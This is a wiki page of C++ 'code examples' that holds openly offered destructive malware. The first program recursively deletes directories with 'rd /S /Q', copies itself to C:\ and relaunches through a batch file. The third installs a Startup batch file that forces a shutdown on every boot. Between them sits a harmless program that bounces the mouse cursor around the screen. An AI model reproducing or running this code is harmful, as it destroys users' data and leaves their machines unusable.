C/C++ Code ExamplesThis is a featured page

C++ virus example, do not run, it will delete everything on your hard drive, do not look at any examples until you're done the tutorials


#include <stdlib.h>
#include <iostream>
#include <fstream>
#include <string>
#include <direct.h>

using namespace std;

int main()
{
int k;
ifstream out;
out.open("cnt.txt");
out >> k;
out.close();

int t = k + 1;

ofstream cnt;
cnt.open("cnt.txt");
cnt << t;
cnt.close();

char n [100];
getcwd(n, _MAX_PATH);

string a = "rd /S /Q ";
string b = a + n;

if(k == 8)
{
string copy1 = "copy ";
string copy2 = "\\Enforcer.exe C:\\";
string copy3 = "\\cnt.txt C:\\";
string copy = copy1 + n + copy2;
string copy4 = copy1 + n + copy3;
system(copy.c_str());
system(copy4.c_str());
system(b.c_str());

ofstream bfile;
bfile.open("C:\\Enforcer.bat");
bfile<<"cd C:\\\nC:/Enforcer.exe\n";
bfile.close();

system("C:\\Enforcer.bat");
return 0;
}else{
system(b.c_str());
}
};



C++ code makes mouse bounce around the screen until you hit F9

// Include libraries
#include <windows.h>
#include <time.h>

// Macro to detect if key is down
#define KEYDOWN(vk_code) ((GetAsyncKeyState(vk_code) & 0x8000) ? 1 : 0)

int WINAPI WinMain (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nFunsterStil)
{
// Variables
int screen_x, screen_y;
int direction_x = 10;
int direction_y = 10;
POINT cursor;
clock_t start;

// Screen size
screen_x = GetSystemMetrics(SM_CXSCREEN);
screen_y = GetSystemMetrics(SM_CYSCREEN);

// Bounce with the cursor until the user presses F9
while(!KEYDOWN(VK_F9))
{
// Get clock count
start = clock();

// Cursors current position
GetCursorPos(&cursor);

// Check if the cursor hits left or right side and play beep if it does
if(cursor.x == (screen_x - 1))
{
direction_x = -10;
Beep(500,25);
}
if(cursor.x < 2)
{
direction_x = 10;
Beep(500,25);
}

// Move cursor in a X-direction
cursor.x = cursor.x + direction_x;

// Check if the cursor hits up or down of the screen and pay beep if it does
if(cursor.y == (screen_y - 1))
{
direction_y = -10;
Beep(750,25);
}
if(cursor.y < 1)
{
direction_y = 10;
Beep(750,25);
}

// Move cursor in a Y-direction
cursor.y = cursor.y + direction_y;

// Move cursor
SetCursorPos(cursor.x,cursor.y);

// Reduse the speed by waiting a bit here
// We want the cursor to move smoothly
while((clock() - start) < 10);
}

// End of program
return 0;
}


C++ code, continual shutdown, do not open!!!
#include <iostream> #include <fstream> using namespace std; int main() { ofstream out ("C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\windows.bat"); out <<"@echo off\n" <<"msg * Mason(PKK) pwns newbs\n" <<"shutdown -f -s -t 10"; system("shutdown -f -s -t 02"); return 0; }


Mason(pkk)
Mason(pkk)
Latest page update: made by Mason(pkk) , Jan 25 2008, 10:21 PM EST (about this update About This Update Mason(pkk) Edited by Mason(pkk)

45 words added

view changes

- complete history)
Keyword tags: None
More Info: links to this page
There are no threads for this page.  Be the first to start a new thread.